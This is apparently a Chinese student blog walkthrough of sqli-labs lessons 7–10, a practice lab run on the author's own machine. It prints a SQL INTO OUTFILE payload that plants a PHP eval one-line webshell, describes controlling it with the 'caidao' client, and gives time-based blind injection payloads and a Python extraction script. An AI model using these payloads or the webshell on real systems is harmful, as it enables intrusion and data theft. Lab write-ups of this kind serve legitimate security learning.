sqlilabs 3

LESS-7

img

在这题当中,我们不难发现,这次他是对((‘$id’))做了这个处理,所以我们只需要在后面多加一个’))这个 然后在里面添加我们需要注入的语句就可以进行注入了img

好了 成功执行,接下来我们输入我们的查询语句试试 img

因为之前都知道他的数据库名字是security 所以我直接用substr查了,然后如果换成其他的他就会报错,好像接下来也没啥太大区别了?img

OK 一模一样,但是我看外面那个标题 和其他的也不一样啊,

是叫做DUMP into outfile 即利用文件导入的方式进行注入(文件上传注入)
原来这么快就要使用webshall 了:安装好webshall以后,
https://blog.csdn.net/qq_34965596/article/details/104076019?utm_medium=distribute.pc_relevant.none-task-blog-OPENSEARCH-7.add_param_isCf&depth_1-utm_source=distribute.pc_relevant.none-task-blog-OPENSEARCH-7.add_param_isCf这个是webshall的简单使用教程

我们开始使用这个文件导入的方式进行注入:
基础知识:
1.如果服务端代码卫队客户端上传的文件进行严格的验证和过滤,就容易造成可以上传任意文件的情况,包括上传脚本文件(asp、aspx、php、jsp等格式的文件)
危害:
非法用户可以利用上传的恶意脚本文件控制整个网站,甚至控制服务器。这个恶意的脚本文件,又被成为webshell,也可将webshell脚本成为一种网页后门,webshell脚本具有非常强大的功能,比如查看服务器目录、服务器中的文件、执行系统命令等。
今天就先简单的使用一下
select into outfile 直接写入
1.利用条件
(1)对web目录需要有写权限能够使用单引号(root)
(2)知道网站绝对路径(这次由于网站直接搭载在本机下,所以可以很容易得知)
(3)secure_file_priv 没有具体值
2.查看secure_file_priv值
secure_file_priv 是用来限制 load dumpfile、into outfile、load_file() 函数在哪个目录下拥有上传或者读取文件的权限。
当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下,此时也无法提权
当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权
我发现我的secure_file_priv是有值的 所以我就找到ini配置文件https://blog.csdn.net/believe_today/article/details/79223684 这个是查找教程 然后将那个数值删掉 记得重启mysql,不然没用
接下来就是使用

1
union select 1,2 ,"<?php @eval($_POST[cmd]);?>" into outfile 'D:\\apache\\www\\sqli-labs-php7-master\\Less-7\\123.php' --+

有个需要注意的点
1这边的斜杠是两个。
在输入这段代码以后 出现了这两个img
即使报错了 文件依旧生成了
img
接下来就是利用菜刀工具,连接这个木马,控制文件

8WF`Q}HH9%%9{Y}N@YKXGNV 配置是这样的 这个连接密码是那个php一句病毒的post里面的字符 点击添加即可(PS:我一直按测试连接,一直说返回值为空,我人傻了) 然后添加完以后,右键那个 img 点击文件管理img

OK 打开新世界的大门OV_HDKHCX}TJMZ9HBHJ6LG6img

img img

这里需要补充一下,接下来回到刚才添加地址的那个页面右键单击我们添加的地址,然后按数据管理,然后点击数据库,输入这些信息,记得!!!!数据库类型是mysqli(分版本的)
okimg
好了 数据库 一览无遗 攻击成功

补充知识:

1.PHP一句木马
是这样的 eval():
eval函数将接受的字符串当做代码执行
参数情况:
(1)如果参数是一个表达式,eval() 函数将执行表达式;
(2) 如果参数是Javascript语句,eval()将执行 Javascript 语句;
注意:(如果执行结果是一个值就返回,不是就返回undefined,如果参数不是一

个字符串,则直接返回该参数)
语法:eval(string)
案例:
eval(“var a=1”);//声明一个变量a并赋值1。
eval(“2+3”);//执行加运算,并返回运算值。
eval(“mytest()”);//执行mytest()函数。
函数作用域
eval()函数并不会创建一个新的作用域,并且它的作用域就是它所在的
作用域,有时候需要将eval()函数的作用域设置为全局,当然可以将eval()在全局作用
域中使用,这个时候可以用window.eval()的方式实现。

1
2
3
4
<?php @eval($_POST['hacker']);?> //解析一下这句话:hacker是密码,通过post提交数据,$_POST是超全局变量
//@符号的意思是不报错
//在写语句的时候注意 ?<php 这三个之间无空格
//密码有无引号问题不大

将这个一句话木马写入文件上传到网站,然后打开这个这个函数好像还有其他东西没被我想到,有点怪怪的??? 感觉没这么简单 所以重新开了个博客整理这个文件上传注入的知识

2.webshell
web 应用管理工具,正常情况下,运维人员可以通过 webshell 针对 web 服务器进行日常的运维管理以及系统上线更新等,那么攻击者也可以通过 webshell 来管理 web 应用服务器。

法2

也可直接将数据库的数据存到文档中

LESS-8

在这个当中我们 发现他是没有报错信息的

img

那么我们就无法使用类似之前的报错注入了。所以就需要时间注入攻击
这里我们就需要先了解一个sleep()函数
它的功能是可以让mysql的执行时间变长
一班和if(expr1,expr2,expr3)结合使用,此if语句含义是:如果expr1是true 则if()的返回是expr2,否则则返回的值为expr3。
所以这里我们输入

1
if(length(database()>1),sleep(5),1)

这个语句的意思就是,如果数据库名称的长度大于1,那么延迟五秒钟响应,反之查询1
那么我们怎么知道他的响应时间呢火狐浏览器 然后按网络即可img

那接下来就是查询表的名字

1
and if(substr((select table_name from information_schema.tables where table_schema='security'limit 0,1 ),1,1) = 'e',sleep(5),1) --+

接下来的步骤都很相似了

第九关

这个关和第八关还挺像的,但是这关连报错都没有,都是you are in

img

那这个时候 很明显就只能利用时间来判断是否注入了img

img

因为不管是 and 1=1 还是 and1=2 画面都不会有变化,因为报错语句已经全部变成you are in了

img

一样的代码一样的测试结果,后面就不再截图了

img

用就是最后查询字段内容了

第十关根据标题 double quotes
可以知道这次需要使用双引号的注入 然后再加上时间盲注

那其他过程都和之前的一样

整理时间盲注代码:

1
2
3
4
 and if(substr(database(),1,1)='s',sleep(5),1) --+
and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(5),1) --+
and if(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1)>'e',sleep(5),1) --+
and if(substr((select email_id from emails limit 0,1),1,1)='D',sleep(5),1) --+

说几个需要注意的点吧,首先 是空格一定要在英文模式下打,其次 括号要分清几个,然后比如说我们要找
字段名 就是column_name 而column_name 是从表中也就是table_name里面找到的

这个要理解一下,不然一直记错很难受

附python时间盲注脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
import datetime
s=requests.session()
url="http://localhost:81/sqli-labs-php7-master/Less-9?id=1"
payload_try='0123456789abcdefghijklmnopqrstuvwxyz'
passwd=''
for i in range(1,9):
for j in payload_try:
payload=f"'and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),{i},1)='{j}',sleep(1),1)--+"
print(payload)
time1=datetime.datetime.now()
r=s.get(url+payload)
time2=datetime.datetime.now()
sec=(time2-time1).seconds
if sec>=1:
passwd+=j
print(passwd)
Author

vague huang

Posted on

2020-11-16

Updated on

2021-03-10

Licensed under

Comments